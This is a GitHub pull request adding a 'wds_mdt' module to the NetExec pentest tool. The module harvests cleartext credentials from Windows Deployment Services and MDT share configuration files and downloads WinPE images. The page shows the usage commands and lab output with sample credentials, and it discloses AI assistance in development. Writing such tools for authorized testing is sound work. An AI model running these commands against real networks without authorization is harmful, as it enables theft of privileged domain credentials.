Skip to content

adding the module wds_mdt#1194

Open
archidote wants to merge 1 commit intoPennyw0rth:mainfrom
archidote:feat/wds_mdt
Open

adding the module wds_mdt#1194
archidote wants to merge 1 commit intoPennyw0rth:mainfrom
archidote:feat/wds_mdt

Conversation

@archidote
Copy link
Copy Markdown

@archidote archidote commented Apr 9, 2026

Description

The wds_mdt module detects Windows Deployment Services (WDS) SMB shares (REMINST\) and Microsoft Deployment Toolkit (MDT) shares (DeploymentShare$\). It extracts credentials stored in cleartext within deployment configuration files and retrieves WinPE images, which can be further analyzed to uncover additional sensitive data. By default, REMINST\ shares are accessible to any authenticated domain user, while DeploymentShare$\ is not readable unless misconfigured. This represents a frequently overlooked attack surface that can directly expose highly privileged administrative credentials.

For more information on this attack, see my article on the subject.

AI Usage Disclosure:

AI tool used during development: Claude (Sonnet 4.6)

AI-assisted scope:

  • Handling of complex regex
  • Understanding of a NetExec-type module
  • Code refinement

Human verification performed:

  • Reviewed all generated code. (Ensured consistency with project conventions and coding standards).
  • Manually validated behavior in a local lab (Windows Server 2019, 2022, 2025).
  • Verified detection logic against real WDS/MDT shares and sample configurations.
  • Edge cases.

How it works ?

The module detects credentials using the following patterns:

  • Bootstrap.ini and CustomSettings.ini ".ini file style": key=value extraction (DomainAdmin, DomainAdminPassword, UserID, UserPassword, JoinDomain, etc.)
  • Unattend.xml: structured XML extraction covering <AutoLogon>, <Credentials> (domain join) and <AdministratorPassword>
  • *.wim: identify the WinPE boot image(s).

credential extraction from common files mentionned above :

No files are downloaded during this sequence. The module performs an on-the-fly scan of accessible shares and parses targeted configuration files in place, extracting credentials using predefined regular expressions.

[Apr 09, 2026 - 10:36:46 (CEST)] exegol-lab NetExec ~# poetry run python -m nxc.netexec smb $WDS_SRV_IP -u $USER -p $PASSWORD -M wds_mdt

SMB         192.168.140.20  445    SRV-001     [*] Windows Server 2022 Build 20348 x64 (name:SRV-001) (domain:domain.local) (signing:False) (SMBv1:None)
SMB         192.168.140.20  445    SRV-001     [+] domain.local\domain_user:p@ssw0rd 
WDS         192.168.140.20  445    SRV-001     [+] Found share: DeploymentShare$ (admin access or misconfigured ACLs)
WDS         192.168.140.20  445    SRV-001     [+] Credentials found in Control\Bootstrap.ini
WDS         192.168.140.20  445    SRV-001       UserID=mdt_admin
WDS         192.168.140.20  445    SRV-001       UserPassword=p@ssw0rd
WDS         192.168.140.20  445    SRV-001       UserDomain=domain.local
WDS         192.168.140.20  445    SRV-001     [+] Credentials found in Control\CustomSettings.ini
WDS         192.168.140.20  445    SRV-001       DomainAdmin=john.doe
WDS         192.168.140.20  445    SRV-001       DomainAdminPassword=123+aze
WDS         192.168.140.20  445    SRV-001       JoinDomain=domain.local
WDS         192.168.140.20  445    SRV-001       DomainAdminDomain=domain.local
WDS         192.168.140.20  445    SRV-001       MachineObjectOU=OU=Computers,DC=domain,DC=local
WDS         192.168.140.20  445    SRV-001     [+] Credentials found in Control\Unattend.xml
WDS         192.168.140.20  445    SRV-001       AutoLogon.Username=Administrator
WDS         192.168.140.20  445    SRV-001       AutoLogon.Password=p@ssw0rd
WDS         192.168.140.20  445    SRV-001       Credentials.Domain=domain.local
WDS         192.168.140.20  445    SRV-001       Credentials.Username=mdt_admin
WDS         192.168.140.20  445    SRV-001       Credentials.Password=p@ssw0rd
WDS         192.168.140.20  445    SRV-001       AdministratorPassword=p@ssw0rd
WDS         192.168.140.20  445    SRV-001     [+] Found share: REMINST (standard user access)
WDS         192.168.140.20  445    SRV-001     [+] Found WinPE image: Boot\x64\Images\LiteTouchPE_x64-(2).wim (526 MB)

Scan and Download all found files (configs + WinPE .wim image) in a specific location:

Here, the module not only scans accessible shares and extracts credentials, but also downloads all relevant files (DOWNLOAD=TRUE), including configuration files and WinPE images, to a specified output directory (OUTDIR=/tmp/wds_mdt_loot). This enables offline analysis, deeper inspection, and additional credential extraction from disk images (e.g., .wim file).

[Apr 09, 2026 - 10:41:13 (CEST)] exegol-lab NetExec ~# poetry run python -m nxc.netexec smb $WDS_SRV_IP -u $USER -p $PASSWORD -M wds_mdt -o DOWNLOAD=TRUE OUTDIR=/tmp/wds_mdt_loot
SMB         192.168.140.20  445    SRV-001     [*] Windows Server 2022 Build 20348 x64 (name:SRV-001) (domain:domain.local) (signing:False) (SMBv1:None)
SMB         192.168.140.20  445    SRV-001     [+] domain.local\test_user:p@ssw0rd! 
WDS         192.168.140.20  445    SRV-001     [+] Found share: DeploymentShare$ (admin access or misconfigured ACLs)
WDS         192.168.140.20  445    SRV-001     [+] Saved: /tmp/wds_mdt_loot/192.168.140.20_bootstrap.ini
WDS         192.168.140.20  445    SRV-001     [+] Credentials found in Control\Bootstrap.ini
WDS         192.168.140.20  445    SRV-001       UserID=mdt_admin
WDS         192.168.140.20  445    SRV-001       UserPassword=p@ssw0rd
WDS         192.168.140.20  445    SRV-001       UserDomain=domain.local
WDS         192.168.140.20  445    SRV-001     [+] Saved: /tmp/wds_mdt_loot/192.168.140.20_Bootstrap.ini
WDS         192.168.140.20  445    SRV-001     [+] Credentials found in Control\CustomSettings.ini
WDS         192.168.140.20  445    SRV-001       DomainAdmin=john.doe
WDS         192.168.140.20  445    SRV-001       DomainAdminPassword=123+aze
WDS         192.168.140.20  445    SRV-001       JoinDomain=domain.local
WDS         192.168.140.20  445    SRV-001       DomainAdminDomain=domain.local
WDS         192.168.140.20  445    SRV-001       MachineObjectOU=OU=Computers,DC=domain,DC=local
WDS         192.168.140.20  445    SRV-001     [+] Saved: /tmp/wds_mdt_loot/192.168.140.20_CustomSettings.ini
WDS         192.168.140.20  445    SRV-001     [+] Credentials found in Control\Unattend.xml
WDS         192.168.140.20  445    SRV-001       AutoLogon.Username=Administrator
WDS         192.168.140.20  445    SRV-001       AutoLogon.Password=p@ssw0rd
WDS         192.168.140.20  445    SRV-001       Credentials.Domain=domain.local
WDS         192.168.140.20  445    SRV-001       Credentials.Username=mdt_admin
WDS         192.168.140.20  445    SRV-001       Credentials.Password=p@ssw0rd
WDS         192.168.140.20  445    SRV-001       AdministratorPassword=p@ssw0rd
WDS         192.168.140.20  445    SRV-001     [+] Saved: /tmp/wds_mdt_loot/192.168.140.20_Unattend.xml
WDS         192.168.140.20  445    SRV-001     [+] Found share: REMINST (standard user access)
WDS         192.168.140.20  445    SRV-001     [+] Found WinPE image: Boot\x64\Images\LiteTouchPE_x64-(2).wim (526 MB)
WDS         192.168.140.20  445    SRV-001     [+] Saved WinPE: /tmp/wds_mdt_loot/192.168.140.20_LiteTouchPE_x64-(2).wim
WDS         192.168.140.20  445    SRV-001     [*] You need to manually extract the image to try gathering credentials (use 7zip or wimlib-imagex).

Setup guide for the review

Testing environment:

Type of change

  • Bug fix (non-breaking change which fixes an issue)
  • New feature (non-breaking change which adds functionality)
  • Breaking change (fix or feature that would cause existing functionality to not work as expected)
  • Deprecation of feature or functionality
  • This change requires a documentation update
  • This requires a third party update (such as Impacket, Dploot, lsassy, etc)
  • This PR was created with the assistance of AI (list what type of assistance, tool(s)/model(s) in the description)

Checklist:

  • I have ran Ruff against my changes (poetry: poetry run ruff check ., use --fix to automatically fix what it can)
  • I have added or updated the tests/e2e_commands.txt file if necessary (new modules or features are required to be added to the e2e tests)
  • If reliant on changes of third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects
  • I have linked relevant sources that describes the added technique (blog posts, documentation, etc)
  • I have performed a self-review of my own code (not an AI review)
  • I have commented my code, particularly in hard-to-understand areas
  • I have made corresponding changes to the documentation (PR here: https://github.com/Pennyw0rth/NetExec-Wiki)

@NeffIsBack
Copy link
Copy Markdown
Member

Very interesting, thanks for the PR!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants